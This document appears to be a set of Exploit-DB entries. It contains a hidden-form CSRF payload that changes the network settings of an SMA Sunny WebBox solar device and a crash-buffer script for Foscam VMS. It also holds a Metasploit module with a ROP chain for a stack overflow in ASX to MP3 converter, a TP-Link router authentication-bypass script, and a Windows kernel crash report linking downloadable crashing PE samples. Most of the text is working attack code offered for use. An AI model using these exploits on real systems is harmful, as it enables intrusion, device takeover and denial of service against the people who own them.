  21. # Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery # Date: 2019-10-08 # Exploit Author: Borja Merino and Eduardo Villaverde # Vendor Homepage: https://www.sma.de # Version: Firmware Version 1.6 and prior # Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6) # CVE : CVE-2019-13529 # ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01 <!-- Change any hidden value --> <iframe style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form"> <input type='hidden' name='RadioButtonDhcp' value='off'> <input type='hidden' name='IpAddr' value='1.1.1.1'> <input type='hidden' name='SubnetMask' value='255.255.255.0'> <input type='hidden' name='Gateway' value='1.1.1.1'> <input type='hidden' name='DnsIpAddr' value='5.5.5.1'> <input type='hidden' name='Dns2IpAddr' value='5.5.5.2'> <input type='hidden' name='StaticNatPortHttp' value='80'> <input type='hidden' name='WebserverPort' value='80'> <input type='hidden' name='WebservicePort' value='80'> <input type='hidden' name='RadioButtonModbus' value='off'> <input type='hidden' name='ModbusPort' value='502'> <input type='hidden' name='BConfirm' value='Confirmar'> <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script>
  22. # Exploit Title: Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC) # Author: Alessandro Magnosi # Date: 2019-10-09 # Vendor Homepage: https://www.foscam.com/ # Software Link : https://www.foscam.com/downloads/appsoftware.html?id=5 # Tested Version: 1.1.6.6 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 SP1 x86 en, Windows 10 Pro x64 it # Steps to Produce the Crash: # 1.- Run python code : python foscam-vms-uid-dos.py # 2.- Open FoscamVMS1.1.6.txt and copy its content to clipboard # 3.- Open FoscamVMS # 4.- Go to Add Device # 5.- Choose device type "NVR" # 6.- Copy the content of the file into UID # 7.- Click on Login Check # 8.- Crashed #!/usr/bin/python buffer = "A" * 5000 f = open ("FoscamVMS1.1.6.txt", "w") f.write(buffer) f.close()
  23. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)", 'Description' => %q{ This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7. By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode. Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC }, 'License' => MSF_LICENSE, 'Author' => [ 'Maxim Guslyaev', # EDB POC, Metasploit Module ], 'References' => [ [ 'CVE', '2017-15221' ], [ 'EDB', '47468' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 Enterprise/10 Pro', { 'Ret' => 0x1002D038 # RET } ] ], 'Payload' => { 'BadChars' => "\x00\x09\x0a" }, 'Privileged' => false, 'DisclosureDate' => "Oct 06 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx']) ]) end def exploit buf = "http://" buf += "A" * 17417 + [target.ret].pack("V") + "CCCC" ## Save allocation type (0x1000) in EDX buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x11111111].pack("V") buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN buf += [0x1002D493].pack("V") # POP EDX # RETN buf += [0xEEEEFEEF].pack("V") buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x41414141].pack("V") ## Save the address of VirtualAlloc() in ESI buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll] buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll] buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN buf += [0x41414141].pack("V") buf += [0x41414141].pack("V") ## Save the size of the block in EBX buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN ## Save the address of (# ADD ESP,8 # RETN) in EBP buf += [0x10031c6c].pack("V") # POP EBP # RETN buf += [0x10012316].pack("V") # ADD ESP,8 # RETN #buf += [0x1003df73].pack("V") # & PUSH ESP # RETN ## Save memory protection code (0x40) in ECX buf += [0x1002ca22].pack("V") # POP ECX # RETN buf += [0xFFFFFFFF].pack("V") buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN ## Save ROP-NOP in EDI buf += [0x1002e346].pack("V") # POP EDI # RETN buf += [0x1002D038].pack("V") # RETN ## Save NOPs in EAX #buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] #buf += [0x90909090].pack("V") # nop ## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address buf += [0x1002E516].pack("V") # POP EAX # RETN buf += [0xA4E2F275].pack("V") buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN buf += [0x10040ce5].pack("V") # PUSH EAX # RETN buf += "\x90" * 4 buf += [0x1003df73].pack("V") # & PUSH ESP # RETN buf += "\x90" * 20 buf += payload.encoded file_create(buf) end end
  24. # Exploit Title: TP-Link TL-WR1043ND 2 - Authentication Bypass # Date: 2019-06-20 # Exploit Author: Uriel Kosayev # Vendor Homepage: https://www.tp-link.com # Version: TL-WR1043ND V2 # Tested on: TL-WR1043ND V2 # CVE : CVE-2019-6971 # CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6971 import requests ascii = ''' __________ __ _ __ /_ __/ __ \ / / (_)___ / /__ / / / /_/ /_____/ / / / __ \/ //_/ / / / ____/_____/ /___/ / / / / ,< /_/ /_/ /_____/_/_/ /_/_/|_| ''' print(ascii) Default_Gateway = raw_input("Enter your TP-Link router IP: ") # Constants url = 'http://' url2 = '/userRpm/LoginRpm.htm?Save=Save' full = url + Default_Gateway + url2 # full = str(full) # The full GET request with the cookie authorization hijacked req_header = { 'Host': '{}'.format(Default_Gateway), 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://{}/userRpm/LoginRpm.htm?Save=Save'.format(Default_Gateway), 'Connection': 'close', 'Cookie': '''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D''', 'Upgrade-Insecure-Requests': '1' } try: response = requests.get(full, headers=req_header).content except requests.exceptions.ConnectionError: print("Enter a valid Default Gateway IP address\nExiting...") exit() generate = response.split('/')[3] # Gets the randomized URL "session ID" option_1 = input("Press 1 to check if your TP-Link router is vulnerable: ") if option_1 is 1: if generate in response: print('Vulnerable!\n') option_2 = input('Press 2 if you want to change the router\'s SSID or any other key to quit: ') if option_2 is 2: newssid = raw_input('New name: ') ssid_url = '/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4&region=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'.format( newssid) changessid_full = url + Default_Gateway + '/' + generate + ssid_url requests.get(changessid_full, headers=req_header) print('Changed to: {}'.format(newssid)) else: ("Please choose the correct option.\nExiting...") exit() else: print('Not Vulnerable') exit() else: print("Please choose the correct option.\nExiting...") exit()
  25. We have encountered a Windows kernel crash in nt!MiOffsetToProtos while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below: --- cut --- *** Fatal System Error: 0x0000003b (0x00000000C0000005,0xFFFFF8006F0860C4,0xFFFFD20AD8E1E290,0x0000000000000000) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -v nt!DbgBreakPointWithStatus: fffff800`6f1c46a0 cc int 3 1: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff8006f0860c4, Address of the instruction which caused the bugcheck Arg3: ffffd20ad8e1e290, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. [...] CONTEXT: ffffd20ad8e1e290 -- (.cxr 0xffffd20ad8e1e290) rax=00000000000000a2 rbx=ffffab829154f420 rcx=0000000000000000 rdx=0000000000000002 rsi=0000000000000000 rdi=ffffab828fb6f690 rip=fffff8006f0860c4 rsp=ffffd20ad8e1ec80 rbp=000000000000000b r8=ffffd20ad8e1ed90 r9=ffffab828fb6f690 r10=ffffab828fb6f690 r11=ffffe601c2e7f7b0 r12=0000000001000000 r13=0000000000000002 r14=000000000000a008 r15=ffffd20ad8e1ed90 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246 nt!MiOffsetToProtos+0x324: fffff800`6f0860c4 8b562c mov edx,dword ptr [rsi+2Ch] ds:002b:00000000`0000002c=???????? Resetting default scope [...] STACK_TEXT: ffffd20a`d8e1ec80 fffff800`6f62a3f9 : ffffab82`8fb6f6d0 ffffab82`9154f420 00000000`00000048 ffffab82`8fb6f690 : nt!MiOffsetToProtos+0x324 ffffd20a`d8e1ed60 fffff800`6f6d6105 : ffffab82`9154f420 ffffd20a`d8e1efb0 ffffd20a`d8e1ef50 00000000`0000b000 : nt!MiLogRelocationRva+0x29 ffffd20a`d8e1edb0 fffff800`6f5fc56a : ffffd20a`d8e1f180 ffffd20a`d8e1f180 ffffd20a`d8e1efb0 ffffd20a`d8e1f180 : nt!MiParseComImage+0xd9 ffffd20a`d8e1eeb0 fffff800`6f5dca20 : ffffab82`9154f420 ffffd20a`d8e1f180 ffffd20a`d8e1f180 ffffab82`9154f3f0 : nt!MiCreateNewSection+0x2b6 ffffd20a`d8e1f010 fffff800`6f5dcd24 : ffffd20a`d8e1f040 ffffe601`c3b87f40 ffffab82`9154f420 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0 ffffd20a`d8e1f100 fffff800`6f5dc37f : 00000000`11000000 ffffd20a`d8e1f4c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4 ffffd20a`d8e1f280 fffff800`6f5dc110 : 00000005`e1478f48 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff ffffd20a`d8e1f360 fffff800`6f1ce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60 ffffd20a`d8e1f3d0 00007ffb`2815c9a4 : 00007ffb`25251ae7 00000000`00000000 00000000`00000001 40b28496`f324e4f9 : nt!KiSystemServiceCopyEnd+0x25 00000005`e1478ed8 00007ffb`25251ae7 : 00000000`00000000 00000000`00000001 40b28496`f324e4f9 feafc9c1`1796ffa1 : ntdll!NtCreateSection+0x14 00000005`e1478ee0 00007ffb`25255640 : 0000019b`db947d00 00000024`00000000 00007ffb`26202770 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7 00000005`e1479110 00007ffb`2523c41d : 0000019b`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0 00000005`e1479180 00007ffb`272503d1 : 0000019b`db9497c0 00000000`00000000 0000019b`db948c30 00007ffb`27266d85 : KERNELBASE!GetFileVersionInfoSizeExW+0x3d 00000005`e14791e0 00007ffb`2725035c : 00000000`00000000 00007ffb`257610ff 0000019b`db9497c0 00000005`e1479530 : shell32!_LoadVersionInfo+0x39 00000005`e1479250 00007ffb`257dc1c1 : 00000000`00000000 00000000`00000000 ffffffff`fffffffe 00000000`00000000 : shell32!CVersionPropertyStore::Initialize+0x2c [...] --- cut --- The direct cause of the crash is an attempt to read from a near-zero address. As the address does not seem to be controlled, and NULL page mappings are prohibited in modern systems (except for when NTVDM is enabled on 32-bit platforms), we classify it as a Denial of Service vulnerability. We have not determined the specific root cause of the issue, but we have found that it is related to the processing of .NET executables. We have minimized one of the crashing samples down to a 2-byte difference in relation to the original file: one which increases the value of the SizeOfImage field from 0xa000 to 0xa100, and one that changes the CLR Runtime Header data directory address from 0x2008 to 0xa008. The issue reproduces on Windows 10 and Windows Server 2019 (32-bit and 64-bit, Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html. Attached is an archive with a minimized proof-of-concept PE image, the original file used to generate it, and three additional non-minimized samples. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47485.zip